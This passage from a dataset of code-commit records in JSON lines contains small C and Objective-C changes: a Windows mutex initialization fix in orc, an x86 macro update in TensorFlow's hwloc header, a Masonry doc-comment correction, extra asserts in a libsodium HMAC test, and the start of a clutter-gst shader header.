<windows.h>\n\nstatic CRITICAL_SECTION once_mutex;\n\nvoid\n_orc_once_init (void)\n{\n}\n\nvoid\norc_once_mutex_lock (void)\n{\n  EnterCriticalSection (&once_mutex);\n}\n\nvoid\norc_once_mutex_unlock (void)\n{\n  LeaveCriticalSection (&once_mutex);\n}\n\nint\nDllMain (HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved)\n{\n  if (dwReason == DLL_PROCESS_ATTACH) {\n    InitializeCriticalSection (&once_mutex);\n  }\n  return 1;\n}\n\n#else\n\nvoid\n_orc_once_init (void)\n{\n}\n\nvoid\norc_once_mutex_lock (void)\n{\n}\n\nvoid\norc_once_mutex_unlock (void)\n{\n}\n\n#endif\n\n\n","subject":"Fix initialization of once mutex","message":"win32: Fix initialization of once mutex\n","lang":"C","license":"bsd-3-clause","repos":"okuoku\/nmosh-orc,MOXfiles\/orc,okuoku\/nmosh-orc,jpakkane\/orc,MOXfiles\/orc,mojaves\/orc,Distrotech\/orc,Distrotech\/orc,Distrotech\/orc,ahmedammar\/platform_external_gst_liborc,mojaves\/orc,okuoku\/nmosh-orc,ahmedammar\/platform_external_gst_liborc,ijsf\/OpenWebRTC-orc,jpakkane\/orc,jpakkane\/orc,mojaves\/orc,ijsf\/OpenWebRTC-orc,ijsf\/OpenWebRTC-orc,MOXfiles\/orc"}
{"commit":"7c18a18a5f79a27f52f80921a7b1f666407da6ff","old_file":"third_party\/hwloc\/static-components.h","new_file":"third_party\/hwloc\/static-components.h","old_contents":"\/* Copyright 2019 The TensorFlow Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n\n#ifndef THIRD_PARTY_HWLOC_STATIC_COMPONENTS_H_\n#define THIRD_PARTY_HWLOC_STATIC_COMPONENTS_H_\n\n#include <private\/internal-components.h>\nstatic const struct hwloc_component* hwloc_static_components[] = {\n    &hwloc_noos_component,      &hwloc_xml_component,\n    &hwloc_synthetic_component, &hwloc_xml_nolibxml_component,\n    &hwloc_linux_component,     &hwloc_linuxio_component,\n#ifdef PLATFORM_IS_X86\n    &hwloc_x86_component,\n#endif\n    NULL};\n\n#endif  \/\/ THIRD_PARTY_HWLOC_STATIC_COMPONENTS_H_\n","new_contents":"\/* Copyright 2019 The TensorFlow Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n\n#ifndef THIRD_PARTY_HWLOC_STATIC_COMPONENTS_H_\n#define THIRD_PARTY_HWLOC_STATIC_COMPONENTS_H_\n\n#include <private\/internal-components.h>\nstatic const struct hwloc_component* hwloc_static_components[] = {\n    &hwloc_noos_component,      &hwloc_xml_component,\n    &hwloc_synthetic_component, &hwloc_xml_nolibxml_component,\n    &hwloc_linux_component,     &hwloc_linuxio_component,\n#if defined(__x86_64__) || defined(__amd64__) || defined(_M_IX86) || \\\ndefined(_M_X64)\n    &hwloc_x86_component,\n#endif\n    NULL};\n\n#endif  \/\/ THIRD_PARTY_HWLOC_STATIC_COMPONENTS_H_\n","subject":"Include all x86 defines macros for hwloc","message":"Include all x86 defines macros for hwloc\n\nCopied from tensorflow\/core\/platform\/platform.h#L59\nLook for both gcc\/clang and Visual Studio macros indicating we're compiling\nfor an x86 device.\n","lang":"C","license":"apache-2.0","repos":"adit-chandra\/tensorflow,Intel-tensorflow\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,xzturn\/tensorflow,ageron\/tensorflow,annarev\/tensorflow,gautam1858\/tensorflow,arborh\/tensorflow,kevin-coder\/tensorflow-fork,xzturn\/tensorflow,tensorflow\/tensorflow,cxxgtxy\/tensorflow,gautam1858\/tensorflow,kevin-coder\/tensorflow-fork,cxxgtxy\/tensorflow,DavidNorman\/tensorflow,renyi533\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,tensorflow\/tensorflow-pywrap_tf_optimizer,petewarden\/tensorflow,annarev\/tensorflow,gautam1858\/tensorflow,Intel-Corporation\/tensorflow,ageron\/tensorflow,alsrgv\/tensorflow,tensorflow\/tensorflow,adit-chandra\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,xzturn\/tensorflow,alsrgv\/tensorflow,alsrgv\/tensorflow,jhseu\/tensorflow,DavidNorman\/tensorflow,alsrgv\/tensorflow,tensorflow\/tensorflow,adit-chandra\/tensorflow,aldian\/tensorflow,DavidNorman\/tensorflow,tensorflow\/tensorflow,jbedorf\/tensorflow,theflofly\/tensorflow,frreiss\/tensorflow-fred,sarvex\/tensorflow,kevin-coder\/tensorflow-fork,ghchinoy\/tensorflow,aam-at\/tensorflow,DavidNorman\/tensorflow,freedomtan\/tensorflow,freedomtan\/tensorflow,xzturn\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,jbedorf\/tensorflow,adit-chandra\/tensorflow,xzturn\/tensorflow,yongtang\/tensorflow,frreiss\/tensorflow-fred,aam-at\/tensorflow,theflofly\/tensorflow,frreiss\/tensorflow-fred,jhseu\/tensorflow,ghchinoy\/tensorflow,alsrgv\/tensorflow,arborh\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,tensorflow\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,Intel-tensorflow\/tensorflow,ppwwyyxx\/tensorflow,ppwwyyxx\/tensorflow,aam-at\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,ppwwyyxx\/tensorflow,DavidNorman\/tensorflow,aam-at\/tensorflow,ppwwyyxx\/tensorflow,karllessard\/tensorflow,ghchinoy\/tensorflow,tensorflow\/tensorflow,tensorflow\/tensorflow,xzturn\/tensorflow,Intel-Corporation\/tensorflow,karllessard\/tensorflow,jbedorf\/tensorflow,frreiss\/tensorflow-fred,arborh\/tensorflow,chemelnucfin\/tensorflow,Intel-Corporation\/tensorflow,yongtang\/tensorflow,theflofly\/tensorflow,aam-at\/tensorflow,renyi533\/tensorflow,frreiss\/tensorflow-fred,Intel-tensorflow\/tensorflow,xzturn\/tensorflow,petewarden\/tensorflow,jhseu\/tensorflow,adit-chandra\/tensorflow,jbedorf\/tensorflow,karllessard\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,freedomtan\/tensorflow,yongtang\/tensorflow,kevin-coder\/tensorflow-fork,adit-chandra\/tensorflow,xzturn\/tensorflow,frreiss\/tensorflow-fred,frreiss\/tensorflow-fred,paolodedios\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,tensorflow\/tensorflow-pywrap_saved_model,gunan\/tensorflow,Intel-Corporation\/tensorflow,Intel-tensorflow\/tensorflow,frreiss\/tensorflow-fred,jbedorf\/tensorflow,adit-chandra\/tensorflow,ageron\/tensorflow,jbedorf\/tensorflow,alsrgv\/tensorflow,jhseu\/tensorflow,Intel-Corporation\/tensorflow,DavidNorman\/tensorflow,theflofly\/tensorflow,jhseu\/tensorflow,DavidNorman\/tensorflow,yongtang\/tensorflow,paolodedios\/tensorflow,annarev\/tensorflow,jhseu\/tensorflow,Intel-tensorflow\/tensorflow,aam-at\/tensorflow,ghchinoy\/tensorflow,chemelnucfin\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,davidzchen\/tensorflow,cxxgtxy\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,tensorflow\/tensorflow-pywrap_saved_model,renyi533\/tensorflow,renyi533\/tensorflow,karllessard\/tensorflow,aam-at\/tensorflow,ageron\/tensorflow,jhseu\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,tensorflow\/tensorflow-pywrap_tf_optimizer,davidzchen\/tensorflow,yongtang\/tensorflow,arborh\/tensorflow,gunan\/tensorflow,tensorflow\/tensorflow,jhseu\/tensorflow,chemelnucfin\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,DavidNorman\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,petewarden\/tensorflow,kevin-coder\/tensorflow-fork,ageron\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,renyi533\/tensorflow,ppwwyyxx\/tensorflow,jbedorf\/tensorflow,DavidNorman\/tensorflow,yongtang\/tensorflow,arborh\/tensorflow,adit-chandra\/tensorflow,chemelnucfin\/tensorflow,adit-chandra\/tensorflow,theflofly\/tensorflow,renyi533\/tensorflow,davidzchen\/tensorflow,jbedorf\/tensorflow,alsrgv\/tensorflow,chemelnucfin\/tensorflow,yongtang\/tensorflow,davidzchen\/tensorflow,annarev\/tensorflow,DavidNorman\/tensorflow,gautam1858\/tensorflow,freedomtan\/tensorflow,tensorflow\/tensorflow,annarev\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,petewarden\/tensorflow,gunan\/tensorflow,freedomtan\/tensorflow,ghchinoy\/tensorflow,ppwwyyxx\/tensorflow,karllessard\/tensorflow,paolodedios\/tensorflow,cxxgtxy\/tensorflow,aldian\/tensorflow,chemelnucfin\/tensorflow,kevin-coder\/tensorflow-fork,tensorflow\/tensorflow-experimental_link_static_libraries_once,ppwwyyxx\/tensorflow,gunan\/tensorflow,gautam1858\/tensorflow,tensorflow\/tensorflow,chemelnucfin\/tensorflow,petewarden\/tensorflow,Intel-Corporation\/tensorflow,ghchinoy\/tensorflow,petewarden\/tensorflow,karllessard\/tensorflow,Intel-tensorflow\/tensorflow,kevin-coder\/tensorflow-fork,alsrgv\/tensorflow,jbedorf\/tensorflow,theflofly\/tensorflow,gunan\/tensorflow,ghchinoy\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,gautam1858\/tensorflow,petewarden\/tensorflow,davidzchen\/tensorflow,alsrgv\/tensorflow,alsrgv\/tensorflow,gunan\/tensorflow,tensorflow\/tensorflow,xzturn\/tensorflow,jhseu\/tensorflow,jbedorf\/tensorflow,aam-at\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,aam-at\/tensorflow,xzturn\/tensorflow,freedomtan\/tensorflow,arborh\/tensorflow,petewarden\/tensorflow,petewarden\/tensorflow,frreiss\/tensorflow-fred,tensorflow\/tensorflow-pywrap_tf_optimizer,jhseu\/tensorflow,theflofly\/tensorflow,arborh\/tensorflow,ppwwyyxx\/tensorflow,gautam1858\/tensorflow,davidzchen\/tensorflow,ageron\/tensorflow,freedomtan\/tensorflow,theflofly\/tensorflow,cxxgtxy\/tensorflow,freedomtan\/tensorflow,arborh\/tensorflow,xzturn\/tensorflow,DavidNorman\/tensorflow,adit-chandra\/tensorflow,sarvex\/tensorflow,chemelnucfin\/tensorflow,ppwwyyxx\/tensorflow,ghchinoy\/tensorflow,paolodedios\/tensorflow,renyi533\/tensorflow,davidzchen\/tensorflow,chemelnucfin\/tensorflow,renyi533\/tensorflow,theflofly\/tensorflow,gautam1858\/tensorflow,theflofly\/tensorflow,sarvex\/tensorflow,ageron\/tensorflow,gautam1858\/tensorflow,paolodedios\/tensorflow,ghchinoy\/tensorflow,gautam1858\/tensorflow,chemelnucfin\/tensorflow,aldian\/tensorflow,aam-at\/tensorflow,alsrgv\/tensorflow,aldian\/tensorflow,aldian\/tensorflow,gunan\/tensorflow,renyi533\/tensorflow,ageron\/tensorflow,paolodedios\/tensorflow,annarev\/tensorflow,arborh\/tensorflow,chemelnucfin\/tensorflow,sarvex\/tensorflow,freedomtan\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,davidzchen\/tensorflow,gunan\/tensorflow,karllessard\/tensorflow,gunan\/tensorflow,sarvex\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,ageron\/tensorflow,annarev\/tensorflow,gautam1858\/tensorflow,gunan\/tensorflow,davidzchen\/tensorflow,paolodedios\/tensorflow,cxxgtxy\/tensorflow,karllessard\/tensorflow,davidzchen\/tensorflow,petewarden\/tensorflow,alsrgv\/tensorflow,Intel-tensorflow\/tensorflow,yongtang\/tensorflow,ageron\/tensorflow,theflofly\/tensorflow,paolodedios\/tensorflow,karllessard\/tensorflow,freedomtan\/tensorflow,paolodedios\/tensorflow,petewarden\/tensorflow,theflofly\/tensorflow,ppwwyyxx\/tensorflow,sarvex\/tensorflow,aldian\/tensorflow,arborh\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,aam-at\/tensorflow,Intel-tensorflow\/tensorflow,paolodedios\/tensorflow,ghchinoy\/tensorflow,yongtang\/tensorflow,cxxgtxy\/tensorflow,ghchinoy\/tensorflow,ghchinoy\/tensorflow,freedomtan\/tensorflow,kevin-coder\/tensorflow-fork,ageron\/tensorflow,gunan\/tensorflow,gautam1858\/tensorflow,aldian\/tensorflow,davidzchen\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,karllessard\/tensorflow,aam-at\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,frreiss\/tensorflow-fred,kevin-coder\/tensorflow-fork,renyi533\/tensorflow,ppwwyyxx\/tensorflow,annarev\/tensorflow,yongtang\/tensorflow,renyi533\/tensorflow,Intel-Corporation\/tensorflow,annarev\/tensorflow,adit-chandra\/tensorflow,freedomtan\/tensorflow,jhseu\/tensorflow,DavidNorman\/tensorflow,annarev\/tensorflow,jhseu\/tensorflow,renyi533\/tensorflow,yongtang\/tensorflow,Intel-tensorflow\/tensorflow,annarev\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,kevin-coder\/tensorflow-fork,Intel-tensorflow\/tensorflow,ageron\/tensorflow,karllessard\/tensorflow,Intel-Corporation\/tensorflow,Intel-tensorflow\/tensorflow,aldian\/tensorflow,gunan\/tensorflow,sarvex\/tensorflow,arborh\/tensorflow,xzturn\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,ppwwyyxx\/tensorflow,kevin-coder\/tensorflow-fork,arborh\/tensorflow,sarvex\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,adit-chandra\/tensorflow,chemelnucfin\/tensorflow,jbedorf\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,davidzchen\/tensorflow,frreiss\/tensorflow-fred,jbedorf\/tensorflow,paolodedios\/tensorflow,cxxgtxy\/tensorflow,frreiss\/tensorflow-fred,petewarden\/tensorflow"}
{"commit":"f9aaf858f4c83e5ec436aa98e57da8f63b0f64d0","old_file":"Masonry\/MASCompositeConstraint.h","new_file":"Masonry\/MASCompositeConstraint.h","old_contents":"\/\/\n\/\/  MASCompositeConstraint.h\n\/\/  Masonry\n\/\/\n\/\/  Created by Jonas Budelmann on 21\/07\/13.\n\/\/  Copyright (c) 2013 cloudling. All rights reserved.\n\/\/\n\n#import \"MASConstraint.h\"\n#import \"MASUtilities.h\"\n\n\/**\n *\tA group of MASConstraint objects\n *  conforms to MASConstraint\n *\/\n@interface MASCompositeConstraint : NSObject <MASConstraint>\n\n\/**\n *\tCreates a composite with a predefined array of children\n *\n *\t@param\tview\tfirst item view\n *\t@param\tchildren\tchild MASConstraints\n *\n *\t@return\ta composite constraint\n *\/\n- (id)initWithChildren:(NSArray *)children;\n\n@end\n","new_contents":"\/\/\n\/\/  MASCompositeConstraint.h\n\/\/  Masonry\n\/\/\n\/\/  Created by Jonas Budelmann on 21\/07\/13.\n\/\/  Copyright (c) 2013 cloudling. All rights reserved.\n\/\/\n\n#import \"MASConstraint.h\"\n#import \"MASUtilities.h\"\n\n\/**\n *\tA group of MASConstraint objects\n *  conforms to MASConstraint\n *\/\n@interface MASCompositeConstraint : NSObject <MASConstraint>\n\n\/**\n *\tCreates a composite with a predefined array of children\n *\n *\t@param\tchildren\tchild MASConstraints\n *\n *\t@return\ta composite constraint\n *\/\n- (id)initWithChildren:(NSArray *)children;\n\n@end\n","subject":"Remove non-existent 'view' parameter documentation","message":"Remove non-existent 'view' parameter documentation\n\nThis was causing a warning when compiling with `-Wdocumentation` enabled.","lang":"C","license":"mit","repos":"Lightricks\/Masonry,connyliu\/Masonry,mainXbegin\/MyRepository,linlin5910\/Masonry,MoMoWan\/Masonry,Shawn-WangDapeng\/Masonry,jianwoo\/Masonry,fhchina\/Masonry,HuylensHu\/Masonry,mainXbegin\/MyRepository,CoderJason1992\/Masonry,LiDechao\/Masonry,saberChen\/Masonry,k131050059\/Masonry,xswm1123\/Masonry,k214k\/Masonry,MoMoWan\/Masonry,lixiaohu1990\/Masonry,hugo-\/Masonry,tianxiao12345\/Masonry,xujiyao123\/Masonry,xtcmoons\/Masonry,Pingco\/Masonry,xujiyao123\/Masonry,mumer92\/Masonry,takeshineshiro\/Masonry,xswm1123\/Masonry,iwill\/Masonry,lzhao18\/Masonry,liufeigit\/Masonry,LeeLovCY\/Masonry,kjiwu\/Masonry,wanglongshuai\/Masonry,emalwb\/Masonry,liufeigit\/Masonry,Eveian\/Masonry,kjiwu\/Masonry,threeWolf\/Masonry,DeveloperFan\/Masonry,johnmyqin\/Masonry,CoderJason1992\/Masonry,zhmios\/myzidongbuju,623049115\/Masonry,fuzhiqiang1989\/Masonry,LeeLovCY\/Masonry,k214k\/Masonry,ramoslin02\/Masonry,12207480\/Masonry,DevSonw\/Masonry,lzhao18\/Masonry,yaoxiaoyong\/Masonry,iousms\/Masonry,mumer92\/Masonry,gengjf\/Masonry,iousms\/Masonry,lujianwenance\/Masonry,Gabriel0402\/Masonry,ChetanGandhi\/Masonry,SpruceHealth\/Masonry,Joneze\/Masonry,lixiaohu1990\/Masonry,Steven-A3\/Masonry,orange5\/Masonry,wangshengguo\/Masonry,lijie121210\/Masonry,zht415\/Masonry,kovpas\/Masonry,CraigSiemens\/Masonry,Pingco\/Masonry,linchen1987\/Masonry,LiDechao\/Masonry,DevSonw\/Masonry,wangshengguo\/Masonry,canyu9512\/Masonry,JeffreyGuoHb\/Masonry,white-moonlight\/Masonry,Calvin-wang\/Masonry,moqyuan\/Masonry,shaohung001\/Masonry,ramoslin02\/Masonry,shuxiashusheng\/Masonry,milanpanchal\/Masonry,liuchungui\/Masonry,Eveian\/Masonry,carinofan\/Masonry,imjerrybao\/Masonry,zhmios\/myzidongbuju,12207480\/Masonry,280482431\/Masonry,HackRoy\/Masonry,k131050059\/Masonry,zhengfuzhe2013\/Masonry-1,scottdinggo\/Masonry,CNMrGoat\/Masonry-1,milanpanchal\/Masonry,MenZil\/Masonry,HuylensHu\/Masonry,canyu9512\/Masonry,OnTheWay1988\/Masonry,TornadoBack\/Masonry,Forfre\/Masonry,DeveloperFan\/Masonry,xuzhenguo\/Masonry,jianwoo\/Masonry,tianxiao12345\/Masonry,DevSonw\/Masonry,imjerrybao\/Masonry,MenZil\/Masonry,lujianwenance\/Masonry,zinthemoney\/Masonry,liuchungui\/Masonry,yaoxiaoyong\/Masonry,moqyuan\/Masonry,shaohung001\/Masonry,shnuzxw\/Masonry,623049115\/Masonry,sandyway\/Masonry,HarrisLee\/Masonry,623049115\/Masonry,dachaoisme\/Masonry,threeWolf\/Masonry,emalwb\/Masonry,xuzhenguo\/Masonry,yanchaoGan\/Masonry,loiwu\/Masonry,hugo-\/Masonry,connyliu\/Masonry,MoMoWan\/Masonry,GhostClock\/Masonry,JeffreyGuoHb\/Masonry,Ray0218\/Masonry,icepy\/Masonry,carinofan\/Masonry,shaohung001\/Masonry,CNMrGoat\/Masonry-1,tianxiao12345\/Masonry,dahuilang1226\/Masonry,connyliu\/Masonry,lmtim\/Masonry,heeween\/Masonry,onlylin\/Masonry,lijie121210\/Masonry,heeween\/Masonry,CoderJason1992\/Masonry,fuzhiqiang1989\/Masonry,hwsyy\/Masonry,dungeonsnd\/Masonry,mainXbegin\/MyRepository,d191562687\/Masonry,yq616775291\/Masonry,d191562687\/Masonry,zhengfuzhe2013\/Masonry-1,zinthemoney\/Masonry,cnbin\/Masonry,yanghonglin\/Masonry,arnaudWasappli\/Masonry,g24635381\/Masonry,hugo-\/Masonry,littledogboy\/Masonry,linlin5910\/Masonry,gank0326\/autolayout,280482431\/Masonry,shuxiashusheng\/Masonry,KeyJohn\/Masonry,d191562687\/Masonry,OnTheWay1988\/Masonry,white-moonlight\/Masonry,shnuzxw\/Masonry,Chunyulo\/Masonry,fhchina\/Masonry,emodeqidao\/Masonry,futurechallenger\/Masonry,xingfukun\/Masonry,lijie121210\/Masonry,linchen1987\/Masonry,OnTheWay1988\/Masonry,dachaoisme\/Masonry,saberChen\/Masonry,moqyuan\/Masonry,Roeun\/Masonry,CraigSiemens\/Masonry,emalwb\/Masonry,white-moonlight\/Masonry,Roeun\/Masonry,280482431\/Masonry,litt1e-p\/Masonry,onlylin\/Masonry,shuxiashusheng\/Masonry,Ray0218\/Masonry,XcodeTalk\/Masonry,sandyway\/Masonry,iwill\/Masonry,shnuzxw\/Masonry,zht415\/Masonry,xiaobudiu\/Masonry,imjerrybao\/Masonry,HackRoy\/Masonry,add715\/Masonry,icepy\/Masonry,yanchaoGan\/Masonry,chieryw\/Masonry,1yvT0s\/Masonry,Gabriel0402\/Masonry,cnbin\/Masonry,stevenxiaoyang\/Masonry,dake\/Masonry,dahuilang1226\/Masonry,ChetanGandhi\/Masonry,lmtim\/Masonry,Mailburn\/Masonry,stevenxiaoyang\/Masonry,various\/Masonry,wangjun59\/Masonry,yq616775291\/Masonry,stevenxiaoyang\/Masonry,Joneze\/Masonry,lmtim\/Masonry,orange5\/Masonry,maokebing\/Masonry,jianwoo\/Masonry,LiDechao\/Masonry,Gabriel0402\/Masonry,emodeqidao\/Masonry,gengjf\/Masonry,littledogboy\/Masonry,chieryw\/Masonry,Kevin775263419\/Masonry,Steven-A3\/Masonry,liuchungui\/Masonry,Mailburn\/Masonry,hao-hua\/Masonry,Steven-A3\/Masonry,GhostClock\/Masonry,various\/Masonry,xtcmoons\/Masonry,Kevin775263419\/Masonry,HqRaining78\/Masonry,loiwu\/Masonry,hwsyy\/Masonry,wangjun59\/Masonry,linchen1987\/Masonry,ramoslin02\/Masonry,add715\/Masonry,maokebing\/Masonry,wangjun59\/Masonry,Mailburn\/Masonry,loiwu\/Masonry,litt1e-p\/Masonry,icepy\/Masonry,rectinajh\/Masonry,roy0914\/Masonry,xb123456456\/Masonry,zuojx1013\/Masonry,rectinajh\/Masonry,arnaudWasappli\/Masonry,maokebing\/Masonry,HarrisLee\/Masonry,HqRaining78\/Masonry,Shawn-WangDapeng\/Masonry,LeeLovCY\/Masonry,zuojx1013\/Masonry,leelili\/Masonry,12207480\/Masonry,k131050059\/Masonry,futurechallenger\/Masonry,yanghonglin\/Masonry,CNMrGoat\/Masonry-1,mumer92\/Masonry,dungeonsnd\/Masonry,Forfre\/Masonry,xuzhenguo\/Masonry,yaoxiaoyong\/Masonry,GhostClock\/Masonry,fuzhiqiang1989\/Masonry,xb123456456\/Masonry,SnapKit\/Masonry,Shawn-WangDapeng\/Masonry,dake\/Masonry,kovpas\/Masonry,Lightricks\/Masonry,heeween\/Masonry,Calvin-wang\/Masonry,yanghonglin\/Masonry,scottdinggo\/Masonry,littleniu\/Masonry,Chunyulo\/Masonry,SnapKit\/Masonry,xujiyao123\/Masonry,xswm1123\/Masonry,TornadoBack\/Masonry,hwsyy\/Masonry,zinthemoney\/Masonry,gank0326\/autolayout,wanglongshuai\/Masonry,Roeun\/Masonry,CraigSiemens\/Masonry,moneytree\/Masonry,j364960953\/Masonry,Joneze\/Masonry,gank0326\/autolayout,linlin5910\/Masonry,lixiaohu1990\/Masonry,futurechallenger\/Masonry,SpruceHealth\/Masonry,KeyJohn\/Masonry,zhmios\/myzidongbuju,moneytree\/Masonry,Eveian\/Masonry,1yvT0s\/Masonry,liufeigit\/Masonry,takeshineshiro\/Masonry,chieryw\/Masonry,johnmyqin\/Masonry,arnaudWasappli\/Masonry,johnmyqin\/Masonry,gengjf\/Masonry,KeyJohn\/Masonry,j364960953\/Masonry,roy0914\/Masonry,yuanhoujun\/Masonry,xiaobudiu\/Masonry,zhengfuzhe2013\/Masonry-1,littleniu\/Masonry,Pingco\/Masonry,rectinajh\/Masonry,lujianwenance\/Masonry,xingfukun\/Masonry,HqRaining78\/Masonry,leelili\/Masonry,SpruceHealth\/Masonry,yanchaoGan\/Masonry,hao-hua\/Masonry,xiaobudiu\/Masonry,cnbin\/Masonry,kjiwu\/Masonry,saberChen\/Masonry,HuylensHu\/Masonry,onlylin\/Masonry,littleniu\/Masonry,g24635381\/Masonry,xingfukun\/Masonry,yuanhoujun\/Masonry,wangshengguo\/Masonry,sandyway\/Masonry,HarrisLee\/Masonry,wanglongshuai\/Masonry,JeffreyGuoHb\/Masonry,Kevin775263419\/Masonry,add715\/Masonry,1yvT0s\/Masonry,j364960953\/Masonry,various\/Masonry,scottdinggo\/Masonry,XcodeTalk\/Masonry,MenZil\/Masonry"}
{"commit":"b7b0436fb866c5a19769458d47c72a0d2c55f8c0","old_file":"test\/default\/auth.c","new_file":"test\/default\/auth.c","old_contents":"\n#define TEST_NAME \"auth\"\n#include \"cmptest.h\"\n\n\/* \"Test Case 2\" from RFC 4231 *\/\nunsigned char key[32] = \"Jefe\";\nunsigned char c[] = \"what do ya want for nothing?\";\n\nunsigned char a[32];\n\nint main(void)\n{\n  int i;\n  crypto_auth(a,c,sizeof c - 1U,key);\n  for (i = 0;i < 32;++i) {\n    printf(\",0x%02x\",(unsigned int) a[i]);\n    if (i % 8 == 7) printf(\"\\n\");\n  }\n\n  assert(crypto_auth_bytes() > 0U);\n  assert(crypto_auth_keybytes() > 0U);\n  assert(strcmp(crypto_auth_primitive(), \"hmacsha512256\") == 0);\n\n  return 0;\n}\n","new_contents":"\n#define TEST_NAME \"auth\"\n#include \"cmptest.h\"\n\n\/* \"Test Case 2\" from RFC 4231 *\/\nunsigned char key[32] = \"Jefe\";\nunsigned char c[] = \"what do ya want for nothing?\";\n\nunsigned char a[32];\n\nint main(void)\n{\n  int i;\n  crypto_auth(a,c,sizeof c - 1U,key);\n  for (i = 0;i < 32;++i) {\n    printf(\",0x%02x\",(unsigned int) a[i]);\n    if (i % 8 == 7) printf(\"\\n\");\n  }\n\n  assert(crypto_auth_bytes() > 0U);\n  assert(crypto_auth_keybytes() > 0U);\n  assert(strcmp(crypto_auth_primitive(), \"hmacsha512256\") == 0);\n  assert(crypto_auth_hmacsha512256_bytes() > 0U);\n  assert(crypto_auth_hmacsha512256_keybytes() > 0U);\n\n  return 0;\n}\n","subject":"Test the presence of some extra functions","message":"Test the presence of some extra functions\n","lang":"C","license":"isc","repos":"rustyhorde\/libsodium,SpiderOak\/libsodium,netroby\/libsodium,JackWink\/libsodium,Payshares\/libsodium,eburkitt\/libsodium,netroby\/libsodium,akkakks\/libsodium,CyanogenMod\/android_external_dnscrypt_libsodium,zhuqling\/libsodium,rustyhorde\/libsodium,pyparallel\/libsodium,paragonie-scott\/libsodium,eburkitt\/libsodium,akkakks\/libsodium,GreatFruitOmsk\/libsodium,kytvi2p\/libsodium,pmienk\/libsodium,mvduin\/libsodium,pyparallel\/libsodium,akkakks\/libsodium,Payshares\/libsodium,mvduin\/libsodium,donpark\/libsodium,JackWink\/libsodium,optedoblivion\/android_external_libsodium,SpiderOak\/libsodium,JackWink\/libsodium,tml\/libsodium,rustyhorde\/libsodium,tml\/libsodium,Payshare\/libsodium,kytvi2p\/libsodium,mvduin\/libsodium,pyparallel\/libsodium,Payshare\/libsodium,eburkitt\/libsodium,CyanogenMod\/android_external_dnscrypt_libsodium,HappyYang\/libsodium,CyanogenMod\/android_external_dnscrypt_libsodium,zhuqling\/libsodium,GreatFruitOmsk\/libsodium,HappyYang\/libsodium,donpark\/libsodium,optedoblivion\/android_external_libsodium,Payshare\/libsodium,soumith\/libsodium,GreatFruitOmsk\/libsodium,HappyYang\/libsodium,paragonie-scott\/libsodium,soumith\/libsodium,kytvi2p\/libsodium,akkakks\/libsodium,SpiderOak\/libsodium,paragonie-scott\/libsodium,Payshares\/libsodium,SpiderOak\/libsodium,optedoblivion\/android_external_libsodium,netroby\/libsodium,pmienk\/libsodium,rustyhorde\/libsodium,zhuqling\/libsodium,pmienk\/libsodium,tml\/libsodium,donpark\/libsodium,soumith\/libsodium"}
{"commit":"11cce755880127565e88bd50c63c6f0b7ee6051f","old_file":"clutter-gst\/clutter-gst-shaders.h","new_file":"clutter-gst\/clutter-gst-shaders.h","old_contents":"\n#ifndef CLUTTER_GST_SHADERS_H\n#define CLUTTER_GST_SHADERS_H\n\n#include <clutter\/clutter.h>\n\n\/* Copied from test-shaders *\/\n\n\/* These variables are used instead of the standard GLSL variables on\n   GLES 2 *\/\n#ifdef COGL_HAS_GLES\n\n#define GLES2_VARS              \\\n  \"precision mediump float;\\n\"  \\\n  \"varying vec2 tex_coord;\\n\"   \\\n  \"varying vec4 frag_color;\\n\"\n#define TEX_COORD \"tex_coord\"\n#define COLOR_VAR \"frag_color\"\n\n#else \/* COGL_HAS_GLES *\/\n\n#define GLES2_VARS \"\"\n#define TEX_COORD \"gl_TexCoord[0]\"\n#define COLOR_VAR \"gl_Color\"\n\n#endif \/* COGL_HAS_GLES *\/\n\n\/* a couple of boilerplate defines that are common amongst all the\n * sample shaders\n *\/\n\n#define FRAGMENT_SHADER_VARS      \\\n  GLES2_VARS\n\n\/* FRAGMENT_SHADER_END: apply the changed color to the output buffer correctly\n * blended with the gl specified color (makes the opacity of actors work\n * 